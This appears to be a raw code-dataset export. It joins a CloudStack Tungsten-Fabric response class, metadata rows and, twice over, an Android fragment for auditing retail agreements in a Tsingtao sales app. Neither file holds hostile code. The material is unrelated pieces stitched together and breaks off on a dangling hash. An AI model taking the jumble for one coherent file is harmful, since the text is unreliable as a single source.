import com.cloud.network.TungstenProvider;
import com.cloud.serializer.Param;
import com.google.gson.annotations.SerializedName;
import org.apache.cloudstack.api.ApiConstants;
import org.apache.cloudstack.api.BaseResponse;
import org.apache.cloudstack.api.EntityReference;
@EntityReference(value = {TungstenProvider.class})
public class TungstenFabricProviderResponse extends BaseResponse {
@SerializedName(ApiConstants.NAME)
@Param(description = "Tungsten-Fabric provider name")
private String name;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_UUID)
@Param(description = "Tungsten-Fabric provider uuid")
private String uuid;
@SerializedName(ApiConstants.ZONE_ID)
@Param(description = "Tungsten-Fabric provider zone id")
private long zoneId;
@SerializedName(ApiConstants.ZONE_NAME)
@Param(description = "Tungsten-Fabric provider zone name")
private String zoneName;
@SerializedName("securitygroupsenabled")
@Param(description = "true if security groups support is enabled, false otherwise")
private boolean securityGroupsEnabled;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_HOSTNAME)
@Param(description = "Tungsten-Fabric provider hostname")
private String hostname;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_PORT)
@Param(description = "Tungsten-Fabric provider port")
private String port;
@SerializedName(ApiConstants.TUNGSTEN_GATEWAY)
@Param(description = "Tungsten-Fabric provider gateway")
private String gateway;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_VROUTER_PORT)
@Param(description = "Tungsten-Fabric provider vrouter port")
private String vrouterPort;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_INTROSPECT_PORT)
@Param(description = "Tungsten-Fabric provider introspect port")
private String introspectPort;
public long getZoneId() {
return zoneId;
}
public void setZoneId(final long zoneId) {
this.zoneId = zoneId;
}
public String getZoneName() {
return zoneName;
}
public void setZoneName(final String zoneName) {
this.zoneName = zoneName;
}
public boolean isSecurityGroupsEnabled() {
return securityGroupsEnabled;
}
public void setSecurityGroupsEnabled(final boolean securityGroupsEnabled) {
this.securityGroupsEnabled = securityGroupsEnabled;
}
public String getHostname() {
return hostname;
}
public void setHostname(String hostname) {
this.hostname = hostname;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPort() {
return port;
}
public void setPort(String port) {
this.port = port;
}
public String getUuid() {
return uuid;
}
public void setUuid(String uuid) {
this.uuid = uuid;
}
public String getGateway() {
return gateway;
}
public void setGateway(final String gateway) {
this.gateway = gateway;
}
public String getIntrospectPort() {
return introspectPort;
}
public void setIntrospectPort(final String introspectPort) {
this.introspectPort = introspectPort;
}
public String getVrouterPort() {
return vrouterPort;
}
public void setVrouterPort(final String vrouterPort) {
this.vrouterPort = vrouterPort;
}
}
| 4,351 | 0.711331 | 0.710411 | 148 | 28.398649 | 23.862143 | 87 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.290541 | false | false |
0
|
abd99a8dc9fcbbcde0dac9bac12ae15e4304541d
| 4,088,808,921,536 |
d3c54c9ddcd914455fa6c08f437fb40ddd8f5f21
|
/app/src/main/java/et/tsingtaopad/dd/ddzs/zsagree/ZsAgreeFragment.java
|
c64c0fdaec3a80c5c87a6a1d36a3c0219de7364c
|
[] |
no_license
|
wxyass/DBT_TsingTao_New
|
https://github.com/wxyass/DBT_TsingTao_New
|
1113285065da132d1232223986d19952623c0021
|
f2dbda01876d4c2c12a70da7ad5f82248ca64d3a
|
refs/heads/master
| 2020-03-25T17:29:12.240000 | 2018-11-20T12:02:05 | 2018-11-20T12:02:05 | 143,979,900 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package et.tsingtaopad.dd.ddzs.zsagree;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.support.annotation.Nullable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.RelativeLayout;
import android.widget.TextView;
import java.lang.ref.SoftReference;
import java.util.List;
import et.tsingtaopad.R;
import et.tsingtaopad.core.util.dbtutil.PrefUtils;
import et.tsingtaopad.core.util.dbtutil.ViewUtil;
import et.tsingtaopad.core.util.dbtutil.logutil.DbtLog;
import et.tsingtaopad.core.view.alertview.AlertView;
import et.tsingtaopad.core.view.alertview.OnItemClickListener;
import et.tsingtaopad.db.table.MitValagreeMTemp;
import et.tsingtaopad.db.table.MitValagreedetailMTemp;
import et.tsingtaopad.dd.ddxt.base.XtBaseVisitFragment;
import et.tsingtaopad.dd.ddzs.zschatvie.ZsChatvieFragment;
import et.tsingtaopad.dd.ddzs.zsshopvisit.ZsVisitShopActivity;
import et.tsingtaopad.listviewintf.IClick;
/**
* Created by yangwenmin on 2018/3/12.
*/
public class ZsAgreeFragment extends XtBaseVisitFragment implements View.OnClickListener {
private final String TAG = "ZsAgreeFragment";
MyHandler handler;
public static final int AGREE_AMEND_SUC = 71;//
public static final int AGREE_AMEND_DETAIL = 72;//
public static final int AGREE_STARTDATE = 73;//
public static final int AGREE_ENDDATE = 74;//
public static final int AGREE_CONTENT = 75;//
private LinearLayout agree_ll_all;
private LinearLayout agree_ll_tv;
private TextView tv_agreecode_con1;
private TextView tv_agencyname_con1;
private TextView rl_moneyagency_con1;
private RelativeLayout rl_startdate;
private TextView rl_startdate_con1;
private TextView rl_startdate_statue;
private RelativeLayout rl_enddate;
private TextView rl_enddate_con1;
private TextView rl_enddate_statue;
private TextView rl_paytype_con1;
private TextView rl_contact_con1;
private TextView rl_mobile_con1;
private RelativeLayout rl_notes;
private TextView rl_notes_con1;
private TextView rl_notes_statue;
private ListView lv_cash;
private ZsAgreeAdapter zsAgreeAdapter;
private ZsAgreeService zsAgreeService;
private MitValagreeMTemp mitValagreeMTemp;
private List<MitValagreeMTemp> valagreeMTemps;
private List<MitValagreedetailMTemp> valagreedetailMTemps;
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_zdzs_agree, container, false);
initView(view);
return view;
}
// 初始化控件
private void initView(View view) {
agree_ll_all = (LinearLayout) view.findViewById(R.id.zs_agree_ll_all);
agree_ll_tv = (LinearLayout) view.findViewById(R.id.zs_agree_ll_tv);
tv_agreecode_con1 = (TextView) view.findViewById(R.id.zdzs_agree_tv_agreecode_con1);
tv_agencyname_con1 = (TextView) view.findViewById(R.id.zdzs_agree_tv_agencyname_con1);
rl_moneyagency_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_moneyagency_con1);
rl_startdate = (RelativeLayout) view.findViewById(R.id.zdzs_agree_rl_startdate);
rl_startdate_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_startdate_con1);
rl_startdate_statue = (TextView) view.findViewById(R.id.zdzs_agree_rl_startdate_statue);
rl_enddate = (RelativeLayout) view.findViewById(R.id.zdzs_agree_rl_enddate);
rl_enddate_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_enddate_con1);
rl_enddate_statue = (TextView) view.findViewById(R.id.zdzs_agree_rl_enddate_statue);
rl_paytype_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_paytype_con1);
rl_contact_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_contact_con1);
rl_mobile_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_mobile_con1);
rl_notes = (RelativeLayout) view.findViewById(R.id.zdzs_agree_rl_notes);
rl_notes_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_notes_con1);
rl_notes_statue = (TextView) view.findViewById(R.id.zdzs_agree_rl_notes_statue);
lv_cash = (ListView) view.findViewById(R.id.zdzs_agree_lv_cash);
rl_startdate.setOnClickListener(this);
rl_enddate.setOnClickListener(this);
rl_notes.setOnClickListener(this);
}
@Override
public void onActivityCreated(@Nullable Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
handler = new MyHandler(this);
zsAgreeService = new ZsAgreeService(getActivity(), null);
// 初始化数据
initData();
}
// // 初始化数据
private void initData() {
valagreeMTemps = zsAgreeService.queryMitValagreeMTemp(mitValterMTempKey);
valagreedetailMTemps = zsAgreeService.queryMitValagreedetailMTemp(mitValterMTempKey);
if (valagreeMTemps.size() > 0) {// 该终端有协议
agree_ll_tv.setVisibility(View.GONE);
agree_ll_all.setVisibility(View.VISIBLE);
mitValagreeMTemp = valagreeMTemps.get(0);// 协议,每个终端只有一条
//
initViewData();
//
initViewStatus();
//
initLvData();
} else {
agree_ll_all.setVisibility(View.GONE);
agree_ll_tv.setVisibility(View.VISIBLE);
}
}
// 显示ListView的数据
private void initLvData() {
//
zsAgreeAdapter = new ZsAgreeAdapter(getActivity(), valagreedetailMTemps, new IClick() {
@Override
public void listViewItemClick(int position, View v) {
alertShow6(position);
}
});
lv_cash.setAdapter(zsAgreeAdapter);
ViewUtil.setListViewHeight(lv_cash);
}
// 显示页面数据
private void initViewData() {
tv_agreecode_con1.setText(mitValagreeMTemp.getAgreecode());
tv_agencyname_con1.setText(mitValagreeMTemp.getAgencyname());
rl_moneyagency_con1.setText(mitValagreeMTemp.getMoneyagency());
rl_startdate_con1.setText(mitValagreeMTemp.getStartdate().substring(0, 10));
rl_enddate_con1.setText(mitValagreeMTemp.getEnddate().substring(0, 10));
rl_paytype_con1.setText(mitValagreeMTemp.getPaytype());
rl_contact_con1.setText(mitValagreeMTemp.getContact());
rl_mobile_con1.setText(mitValagreeMTemp.getMobile());
rl_notes_con1.setText(mitValagreeMTemp.getNotes());
}
// 显示数据状态
private void initViewStatus() {
// 开始时间 未稽查
if ("N".equals(mitValagreeMTemp.getStartdateflag())) {
rl_startdate_statue.setText("错误");
rl_startdate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_error));
} else if ("Y".equals(mitValagreeMTemp.getStartdateflag())) {
rl_startdate_statue.setText("正确");
rl_startdate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_yes));
} else {
rl_startdate_statue.setText("未稽查");
rl_startdate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_notcheck));
}
// 结束时间 未稽查
if ("N".equals(mitValagreeMTemp.getEnddateflag())) {
rl_enddate_statue.setText("错误");
rl_enddate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_error));
} else if ("Y".equals(mitValagreeMTemp.getEnddateflag())) {
rl_enddate_statue.setText("正确");
rl_enddate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_yes));
} else {
rl_enddate_statue.setText("未稽查");
rl_enddate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_notcheck));
}
// 主要协议 未稽查
if ("N".equals(mitValagreeMTemp.getNotesflag())) {
rl_notes_statue.setText("错误");
rl_notes_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_error));
} else if ("Y".equals(mitValagreeMTemp.getNotesflag())) {
rl_notes_statue.setText("正确");
rl_notes_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_yes));
} else {
rl_notes_statue.setText("未稽查");
rl_notes_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_notcheck));
}
}
// 核查产品兑换信息
public void alertShow6(final int posi) {
/*new AlertView("请选择核查结果", null, "取消", null,
new String[]{"正确", "品种有误", "承担金额有误", "实际数量有误"},
getActivity(), AlertView.Style.ActionSheet,
new OnItemClickListener() {
@Override
public void onItemClick(Object o, int position) {
if (0 == position) {// 正确
valagreedetailMTemps.get(posi).setAgreedetailflag("Y");
handler.sendEmptyMessage(ZsAgreeFragment.AGREE_AMEND_DETAIL);
} else {
Bundle bundle = new Bundle();
bundle.putSerializable("type", position);// 1 品种有误 2 承担金额有误 3 实际数量有误
bundle.putSerializable("MitValagreedetailMTemp", valagreedetailMTemps.get(posi));
ZsAgreeDetailAmendFragment xtaddinvoicingfragment = new ZsAgreeDetailAmendFragment(handler);
xtaddinvoicingfragment.setArguments(bundle);
ZsVisitShopActivity xtVisitShopActivity = (ZsVisitShopActivity) getActivity();
xtVisitShopActivity.changeXtvisitFragment(xtaddinvoicingfragment, "zsagreedetailamendfragment");
}
}
}).setCancelable(true).show();*/
new AlertView("请选择核查结果", null, "未稽查", null,
new String[]{"正确", "错误"},
getActivity(), AlertView.Style.ActionSheet,
new OnItemClickListener() {
@Override
public void onItemClick(Object o, int position) {
// Toast.makeText(getActivity(), "点击了第" + position + "个", Toast.LENGTH_SHORT).show();
if (0 == position) {// 正确
// 当稽查错误,又改正确时
if("N".equals(valagreedetailMTemps.get(posi).getAgreedetailflag())){
int count = PrefUtils.getInt(getActivity(),"valterErrorCount",0);
count--;
PrefUtils.putInt(getActivity(),"valterErrorCount",count);
}
valagreedetailMTemps.get(posi).setAgreedetailflag("Y");
handler.sendEmptyMessage(ZsAgreeFragment.AGREE_AMEND_DETAIL);
} else if (1 == position) {// 跳转数据录入
Bundle bundle = new Bundle();
bundle.putSerializable("type", position);// 1 品种有误 2 承担金额有误 3 实际数量有误
bundle.putSerializable("MitValagreedetailMTemp", valagreedetailMTemps.get(posi));
ZsAgreeDetailAmendFragment xtaddinvoicingfragment = new ZsAgreeDetailAmendFragment(handler);
xtaddinvoicingfragment.setArguments(bundle);
ZsVisitShopActivity xtVisitShopActivity = (ZsVisitShopActivity) getActivity();
xtVisitShopActivity.changeXtvisitFragment(xtaddinvoicingfragment, "zsagreedetailamendfragment");
}
else if (-1 == position) {// 跳转数据录入
valagreedetailMTemps.get(posi).setAgreedetailflag("");
handler.sendEmptyMessage(ZsAgreeFragment.AGREE_AMEND_DETAIL);
}
}
}).setCancelable(true).show();
}
// 核查协议基本信息
public void alertShow5(final int type) {
new AlertView("请选择核查结果", null, "未稽查", null,
new String[]{"正确", "错误"},
getActivity(), AlertView.Style.ActionSheet,
new OnItemClickListener() {
@Override
public void onItemClick(Object o, int position) {
if (0 == position) {// 正确
String flag = "";
if (type == AGREE_STARTDATE) {// 开始时间
flag = mitValagreeMTemp.getStartdateflag();
mitValagreeMTemp.setStartdateflag("Y");
} else if (type == AGREE_ENDDATE) {//结束时间
flag = mitValagreeMTemp.getEnddateflag();
mitValagreeMTemp.setEnddateflag("Y");
} else if (type == AGREE_CONTENT) {// 主要协议
flag = mitValagreeMTemp.getNotesflag();
mitValagreeMTemp.setNotesflag("Y");
}
// 当稽查错误,又改正确时
if("N".equals(flag)){
int count = PrefUtils.getInt(getActivity(),"valterErrorCount",0);
count--;
PrefUtils.putInt(getActivity(),"valterErrorCount",count);
}
initViewStatus();
} else if (1 == position) {// 错误
Bundle bundle = new Bundle();
bundle.putSerializable("type", type);
bundle.putSerializable("mitValagreeMTemp", mitValagreeMTemp);
ZsAgreeAmendFragment xtaddinvoicingfragment = new ZsAgreeAmendFragment(handler);
xtaddinvoicingfragment.setArguments(bundle);
ZsVisitShopActivity xtVisitShopActivity = (ZsVisitShopActivity) getActivity();
xtVisitShopActivity.changeXtvisitFragment(xtaddinvoicingfragment, "zsagreeamendfragment");
}
else if (-1 == position) {// 未稽查
if (type == AGREE_STARTDATE) {// 开始时间
mitValagreeMTemp.setStartdateflag("");
} else if (type == AGREE_ENDDATE) {//结束时间
mitValagreeMTemp.setEnddateflag("");
} else if (type == AGREE_CONTENT) {// 主要协议
mitValagreeMTemp.setNotesflag("");
}
initViewStatus();
}
}
}).setCancelable(true).show();
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.zdzs_agree_rl_startdate:
alertShow5(AGREE_STARTDATE);
break;
case R.id.zdzs_agree_rl_enddate:
alertShow5(AGREE_ENDDATE);
break;
case R.id.zdzs_agree_rl_notes:
alertShow5(AGREE_CONTENT);
break;
default:
break;
}
}
/**
* 接收子线程消息的 Handler
*/
public static class MyHandler extends Handler {
// 软引用
SoftReference<ZsAgreeFragment> fragmentRef;
public MyHandler(ZsAgreeFragment fragment) {
fragmentRef = new SoftReference<ZsAgreeFragment>(fragment);
}
@Override
public void handleMessage(Message msg) {
ZsAgreeFragment fragment = fragmentRef.get();
if (fragment == null) {
return;
}
// 处理UI 变化
switch (msg.what) {
case AGREE_AMEND_SUC:// 主要协议 错误备注返回 刷新页面
fragment.initViewStatus();
break;
case AGREE_AMEND_DETAIL: // 督导输入数据后
fragment.refreshLvData();
break;
}
}
}
private void refreshLvData() {
zsAgreeAdapter.notifyDataSetChanged();
}
@Override
public void onPause() {
super.onPause();
DbtLog.logUtils(TAG, "onPause()");
// 保存追溯
zsAgreeService.saveZsAgree(mitValagreeMTemp, valagreedetailMTemps);
}
}
|
UTF-8
|
Java
| 17,184 |
java
|
ZsAgreeFragment.java
|
Java
|
[
{
"context": "singtaopad.listviewintf.IClick;\n\n/**\n * Created by yangwenmin on 2018/3/12.\n */\n\npublic class ZsAgreeFragment e",
"end": 1109,
"score": 0.9996687769889832,
"start": 1099,
"tag": "USERNAME",
"value": "yangwenmin"
}
] | null |
[] |
package et.tsingtaopad.dd.ddzs.zsagree;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.support.annotation.Nullable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.RelativeLayout;
import android.widget.TextView;
import java.lang.ref.SoftReference;
import java.util.List;
import et.tsingtaopad.R;
import et.tsingtaopad.core.util.dbtutil.PrefUtils;
import et.tsingtaopad.core.util.dbtutil.ViewUtil;
import et.tsingtaopad.core.util.dbtutil.logutil.DbtLog;
import et.tsingtaopad.core.view.alertview.AlertView;
import et.tsingtaopad.core.view.alertview.OnItemClickListener;
import et.tsingtaopad.db.table.MitValagreeMTemp;
import et.tsingtaopad.db.table.MitValagreedetailMTemp;
import et.tsingtaopad.dd.ddxt.base.XtBaseVisitFragment;
import et.tsingtaopad.dd.ddzs.zschatvie.ZsChatvieFragment;
import et.tsingtaopad.dd.ddzs.zsshopvisit.ZsVisitShopActivity;
import et.tsingtaopad.listviewintf.IClick;
/**
* Created by yangwenmin on 2018/3/12.
*/
public class ZsAgreeFragment extends XtBaseVisitFragment implements View.OnClickListener {
private final String TAG = "ZsAgreeFragment";
MyHandler handler;
public static final int AGREE_AMEND_SUC = 71;//
public static final int AGREE_AMEND_DETAIL = 72;//
public static final int AGREE_STARTDATE = 73;//
public static final int AGREE_ENDDATE = 74;//
public static final int AGREE_CONTENT = 75;//
private LinearLayout agree_ll_all;
private LinearLayout agree_ll_tv;
private TextView tv_agreecode_con1;
private TextView tv_agencyname_con1;
private TextView rl_moneyagency_con1;
private RelativeLayout rl_startdate;
private TextView rl_startdate_con1;
private TextView rl_startdate_statue;
private RelativeLayout rl_enddate;
private TextView rl_enddate_con1;
private TextView rl_enddate_statue;
private TextView rl_paytype_con1;
private TextView rl_contact_con1;
private TextView rl_mobile_con1;
private RelativeLayout rl_notes;
private TextView rl_notes_con1;
private TextView rl_notes_statue;
private ListView lv_cash;
private ZsAgreeAdapter zsAgreeAdapter;
private ZsAgreeService zsAgreeService;
private MitValagreeMTemp mitValagreeMTemp;
private List<MitValagreeMTemp> valagreeMTemps;
private List<MitValagreedetailMTemp> valagreedetailMTemps;
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_zdzs_agree, container, false);
initView(view);
return view;
}
// 初始化控件
private void initView(View view) {
agree_ll_all = (LinearLayout) view.findViewById(R.id.zs_agree_ll_all);
agree_ll_tv = (LinearLayout) view.findViewById(R.id.zs_agree_ll_tv);
tv_agreecode_con1 = (TextView) view.findViewById(R.id.zdzs_agree_tv_agreecode_con1);
tv_agencyname_con1 = (TextView) view.findViewById(R.id.zdzs_agree_tv_agencyname_con1);
rl_moneyagency_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_moneyagency_con1);
rl_startdate = (RelativeLayout) view.findViewById(R.id.zdzs_agree_rl_startdate);
rl_startdate_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_startdate_con1);
rl_startdate_statue = (TextView) view.findViewById(R.id.zdzs_agree_rl_startdate_statue);
rl_enddate = (RelativeLayout) view.findViewById(R.id.zdzs_agree_rl_enddate);
rl_enddate_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_enddate_con1);
rl_enddate_statue = (TextView) view.findViewById(R.id.zdzs_agree_rl_enddate_statue);
rl_paytype_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_paytype_con1);
rl_contact_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_contact_con1);
rl_mobile_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_mobile_con1);
rl_notes = (RelativeLayout) view.findViewById(R.id.zdzs_agree_rl_notes);
rl_notes_con1 = (TextView) view.findViewById(R.id.zdzs_agree_rl_notes_con1);
rl_notes_statue = (TextView) view.findViewById(R.id.zdzs_agree_rl_notes_statue);
lv_cash = (ListView) view.findViewById(R.id.zdzs_agree_lv_cash);
rl_startdate.setOnClickListener(this);
rl_enddate.setOnClickListener(this);
rl_notes.setOnClickListener(this);
}
@Override
public void onActivityCreated(@Nullable Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
handler = new MyHandler(this);
zsAgreeService = new ZsAgreeService(getActivity(), null);
// 初始化数据
initData();
}
// // 初始化数据
private void initData() {
valagreeMTemps = zsAgreeService.queryMitValagreeMTemp(mitValterMTempKey);
valagreedetailMTemps = zsAgreeService.queryMitValagreedetailMTemp(mitValterMTempKey);
if (valagreeMTemps.size() > 0) {// 该终端有协议
agree_ll_tv.setVisibility(View.GONE);
agree_ll_all.setVisibility(View.VISIBLE);
mitValagreeMTemp = valagreeMTemps.get(0);// 协议,每个终端只有一条
//
initViewData();
//
initViewStatus();
//
initLvData();
} else {
agree_ll_all.setVisibility(View.GONE);
agree_ll_tv.setVisibility(View.VISIBLE);
}
}
// 显示ListView的数据
private void initLvData() {
//
zsAgreeAdapter = new ZsAgreeAdapter(getActivity(), valagreedetailMTemps, new IClick() {
@Override
public void listViewItemClick(int position, View v) {
alertShow6(position);
}
});
lv_cash.setAdapter(zsAgreeAdapter);
ViewUtil.setListViewHeight(lv_cash);
}
// 显示页面数据
private void initViewData() {
tv_agreecode_con1.setText(mitValagreeMTemp.getAgreecode());
tv_agencyname_con1.setText(mitValagreeMTemp.getAgencyname());
rl_moneyagency_con1.setText(mitValagreeMTemp.getMoneyagency());
rl_startdate_con1.setText(mitValagreeMTemp.getStartdate().substring(0, 10));
rl_enddate_con1.setText(mitValagreeMTemp.getEnddate().substring(0, 10));
rl_paytype_con1.setText(mitValagreeMTemp.getPaytype());
rl_contact_con1.setText(mitValagreeMTemp.getContact());
rl_mobile_con1.setText(mitValagreeMTemp.getMobile());
rl_notes_con1.setText(mitValagreeMTemp.getNotes());
}
// 显示数据状态
private void initViewStatus() {
// 开始时间 未稽查
if ("N".equals(mitValagreeMTemp.getStartdateflag())) {
rl_startdate_statue.setText("错误");
rl_startdate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_error));
} else if ("Y".equals(mitValagreeMTemp.getStartdateflag())) {
rl_startdate_statue.setText("正确");
rl_startdate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_yes));
} else {
rl_startdate_statue.setText("未稽查");
rl_startdate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_notcheck));
}
// 结束时间 未稽查
if ("N".equals(mitValagreeMTemp.getEnddateflag())) {
rl_enddate_statue.setText("错误");
rl_enddate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_error));
} else if ("Y".equals(mitValagreeMTemp.getEnddateflag())) {
rl_enddate_statue.setText("正确");
rl_enddate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_yes));
} else {
rl_enddate_statue.setText("未稽查");
rl_enddate_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_notcheck));
}
// 主要协议 未稽查
if ("N".equals(mitValagreeMTemp.getNotesflag())) {
rl_notes_statue.setText("错误");
rl_notes_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_error));
} else if ("Y".equals(mitValagreeMTemp.getNotesflag())) {
rl_notes_statue.setText("正确");
rl_notes_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_yes));
} else {
rl_notes_statue.setText("未稽查");
rl_notes_statue.setTextColor(getResources().getColor(R.color.zdzs_dd_notcheck));
}
}
// 核查产品兑换信息
public void alertShow6(final int posi) {
/*new AlertView("请选择核查结果", null, "取消", null,
new String[]{"正确", "品种有误", "承担金额有误", "实际数量有误"},
getActivity(), AlertView.Style.ActionSheet,
new OnItemClickListener() {
@Override
public void onItemClick(Object o, int position) {
if (0 == position) {// 正确
valagreedetailMTemps.get(posi).setAgreedetailflag("Y");
handler.sendEmptyMessage(ZsAgreeFragment.AGREE_AMEND_DETAIL);
} else {
Bundle bundle = new Bundle();
bundle.putSerializable("type", position);// 1 品种有误 2 承担金额有误 3 实际数量有误
bundle.putSerializable("MitValagreedetailMTemp", valagreedetailMTemps.get(posi));
ZsAgreeDetailAmendFragment xtaddinvoicingfragment = new ZsAgreeDetailAmendFragment(handler);
xtaddinvoicingfragment.setArguments(bundle);
ZsVisitShopActivity xtVisitShopActivity = (ZsVisitShopActivity) getActivity();
xtVisitShopActivity.changeXtvisitFragment(xtaddinvoicingfragment, "zsagreedetailamendfragment");
}
}
}).setCancelable(true).show();*/
new AlertView("请选择核查结果", null, "未稽查", null,
new String[]{"正确", "错误"},
getActivity(), AlertView.Style.ActionSheet,
new OnItemClickListener() {
@Override
public void onItemClick(Object o, int position) {
// Toast.makeText(getActivity(), "点击了第" + position + "个", Toast.LENGTH_SHORT).show();
if (0 == position) {// 正确
// 当稽查错误,又改正确时
if("N".equals(valagreedetailMTemps.get(posi).getAgreedetailflag())){
int count = PrefUtils.getInt(getActivity(),"valterErrorCount",0);
count--;
PrefUtils.putInt(getActivity(),"valterErrorCount",count);
}
valagreedetailMTemps.get(posi).setAgreedetailflag("Y");
handler.sendEmptyMessage(ZsAgreeFragment.AGREE_AMEND_DETAIL);
} else if (1 == position) {// 跳转数据录入
Bundle bundle = new Bundle();
bundle.putSerializable("type", position);// 1 品种有误 2 承担金额有误 3 实际数量有误
bundle.putSerializable("MitValagreedetailMTemp", valagreedetailMTemps.get(posi));
ZsAgreeDetailAmendFragment xtaddinvoicingfragment = new ZsAgreeDetailAmendFragment(handler);
xtaddinvoicingfragment.setArguments(bundle);
ZsVisitShopActivity xtVisitShopActivity = (ZsVisitShopActivity) getActivity();
xtVisitShopActivity.changeXtvisitFragment(xtaddinvoicingfragment, "zsagreedetailamendfragment");
}
else if (-1 == position) {// 跳转数据录入
valagreedetailMTemps.get(posi).setAgreedetailflag("");
handler.sendEmptyMessage(ZsAgreeFragment.AGREE_AMEND_DETAIL);
}
}
}).setCancelable(true).show();
}
// 核查协议基本信息
public void alertShow5(final int type) {
new AlertView("请选择核查结果", null, "未稽查", null,
new String[]{"正确", "错误"},
getActivity(), AlertView.Style.ActionSheet,
new OnItemClickListener() {
@Override
public void onItemClick(Object o, int position) {
if (0 == position) {// 正确
String flag = "";
if (type == AGREE_STARTDATE) {// 开始时间
flag = mitValagreeMTemp.getStartdateflag();
mitValagreeMTemp.setStartdateflag("Y");
} else if (type == AGREE_ENDDATE) {//结束时间
flag = mitValagreeMTemp.getEnddateflag();
mitValagreeMTemp.setEnddateflag("Y");
} else if (type == AGREE_CONTENT) {// 主要协议
flag = mitValagreeMTemp.getNotesflag();
mitValagreeMTemp.setNotesflag("Y");
}
// 当稽查错误,又改正确时
if("N".equals(flag)){
int count = PrefUtils.getInt(getActivity(),"valterErrorCount",0);
count--;
PrefUtils.putInt(getActivity(),"valterErrorCount",count);
}
initViewStatus();
} else if (1 == position) {// 错误
Bundle bundle = new Bundle();
bundle.putSerializable("type", type);
bundle.putSerializable("mitValagreeMTemp", mitValagreeMTemp);
ZsAgreeAmendFragment xtaddinvoicingfragment = new ZsAgreeAmendFragment(handler);
xtaddinvoicingfragment.setArguments(bundle);
ZsVisitShopActivity xtVisitShopActivity = (ZsVisitShopActivity) getActivity();
xtVisitShopActivity.changeXtvisitFragment(xtaddinvoicingfragment, "zsagreeamendfragment");
}
else if (-1 == position) {// 未稽查
if (type == AGREE_STARTDATE) {// 开始时间
mitValagreeMTemp.setStartdateflag("");
} else if (type == AGREE_ENDDATE) {//结束时间
mitValagreeMTemp.setEnddateflag("");
} else if (type == AGREE_CONTENT) {// 主要协议
mitValagreeMTemp.setNotesflag("");
}
initViewStatus();
}
}
}).setCancelable(true).show();
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.zdzs_agree_rl_startdate:
alertShow5(AGREE_STARTDATE);
break;
case R.id.zdzs_agree_rl_enddate:
alertShow5(AGREE_ENDDATE);
break;
case R.id.zdzs_agree_rl_notes:
alertShow5(AGREE_CONTENT);
break;
default:
break;
}
}
/**
* 接收子线程消息的 Handler
*/
public static class MyHandler extends Handler {
// 软引用
SoftReference<ZsAgreeFragment> fragmentRef;
public MyHandler(ZsAgreeFragment fragment) {
fragmentRef = new SoftReference<ZsAgreeFragment>(fragment);
}
@Override
public void handleMessage(Message msg) {
ZsAgreeFragment fragment = fragmentRef.get();
if (fragment == null) {
return;
}
// 处理UI 变化
switch (msg.what) {
case AGREE_AMEND_SUC:// 主要协议 错误备注返回 刷新页面
fragment.initViewStatus();
break;
case AGREE_AMEND_DETAIL: // 督导输入数据后
fragment.refreshLvData();
break;
}
}
}
private void refreshLvData() {
zsAgreeAdapter.notifyDataSetChanged();
}
@Override
public void onPause() {
super.onPause();
DbtLog.logUtils(TAG, "onPause()");
// 保存追溯
zsAgreeService.saveZsAgree(mitValagreeMTemp, valagreedetailMTemps);
}
}
| 17,184 | 0.58453 | 0.579582 | 396 | 40.853535 | 31.385736 | 124 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.646465 | false | false |
0
|
28a2c9150a044346c4fffd56b6cd7a862c2e5019
| 6,760,278,595,610 |
21aeae3c85b43bce18d218ed054730ba9cd0f594
|
